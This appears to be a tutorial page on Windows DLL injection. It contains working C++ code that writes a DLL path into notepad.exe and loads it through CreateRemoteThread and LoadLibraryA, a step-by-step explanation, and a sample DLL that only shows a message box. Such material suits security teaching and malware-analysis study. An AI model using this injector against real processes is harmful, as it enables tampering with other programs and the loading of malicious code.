

# DLL Injection

## DLL Injector

C++ Code

```
#include <stdio.h>;
#include <stdlib.h>;
#include <string.h>;
#include <windows.h>;
#include <tlhelp32.h>;

int getPIDbyProcName(const char* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hSnap, &pe32) != FALSE) {
        while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) {
            if (strcmp(pe32.szExeFile, procName) == 0) {
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

typedef LPVOID memory_buffer;

int main(int argc, char* argv[]) {
    HANDLE pHandle; // process handle
    HANDLE remoteThread; // remote thread
    memory_buffer rb; // remote buffer

    // handle to kernel32 and pass it to GetProcAddress
    HMODULE hKernel32 = GetModuleHandle("Kernel32");
    void *lb = GetProcAddress(hKernel32, "LoadLibraryA");

    int pid = getPIDbyProcName("notepad.exe");

    pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // allocate memory buffer for remote process
    rb = VirtualAllocEx(pHandle, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

    // "copy" evil DLL between processes
    WriteProcessMemory(pHandle, rb, evilDLL, evilLen, NULL);

    // our process start new thread
    remoteThread = CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
    CloseHandle(pHandle);
    CloseHandle(remoteThread);
    return 0;
}
```

This code is a Windows program that injects a dynamic-link library (DLL), represented by evil.dll, into the memory of a target process (in this case, "notepad.exe"). Let's break down the code step by step:

### 1. Header Includes:

- <stdio.h>, <stdlib.h>, <string.h>: Standard C library headers for file operations and string manipulation.
- <windows.h>: Provides access to Windows API functions and data types.
- <tlhelp32.h>: Includes functions and data structures for working with processes and snapshots.

### 2. getPIDbyProcName Function:

- This function takes the name of a process (procName) as input and returns its Process ID (PID).
- It uses the Windows Toolhelp32 API to iterate through running processes and find the one with the specified name.
- It initializes a snapshot of the process list, walks through it, and closes the snapshot handle when done.

### 3. Variables and Initialization:

- char evilDLL[]: Specifies the path to the DLL (evil.dll) that will be injected into the target process.
- unsigned int evilLen: Stores the length of the DLL path string.
- typedef LPVOID memory\_buffer: Creates an alias for a pointer to void as memory\_buffer.

### 4. Main Function:

- int main(int argc, char\* argv[]): This is the main entry point for the program.
- Inside the function:
  - It declares several variables:
    - HANDLE pHandle: A handle to the target process.
    - HANDLE remoteThread: A handle to the remote thread that will load the DLL.
    - memory\_buffer rb: A pointer to a remote buffer in the target process.
  - It retrieves the address of the LoadLibraryA function from the Kernel32 module using GetProcAddress. This function is used to load the DLL into the target process.
  - It calls getPIDbyProcName to get the PID of the target process, which is "notepad.exe" in this case.
  - It opens the target process for all access rights using OpenProcess.
  - It allocates memory within the target process using VirtualAllocEx to hold the DLL path string.
  - It copies the DLL path string (evilDLL) into the allocated memory of the target process using WriteProcessMemory.
  - It creates a remote thread in the target process using CreateRemoteThread. This thread starts execution at the LoadLibraryA function, which loads the DLL (evil.dll) into the target process.
  - Finally, it closes the process and remote thread handles and returns 0 to indicate successful program completion.

In summary, this code demonstrates DLL injection into a target process. It opens the target process, allocates memory within it, copies the DLL path, and creates a remote thread to load the DLL into the target process. This technique can be used for various purposes, including hooking functions or modifying the behavior of the target process.

## Evil DLL

C++ Code

```
#include <windows.h>
#pragma comment(lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved)
{
    switch (nReason){
        case DLL_PROCESS_ATTACH:
            MessageBox(NULL, "S12!", "MessageBox by S12", MB_OK);
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}
```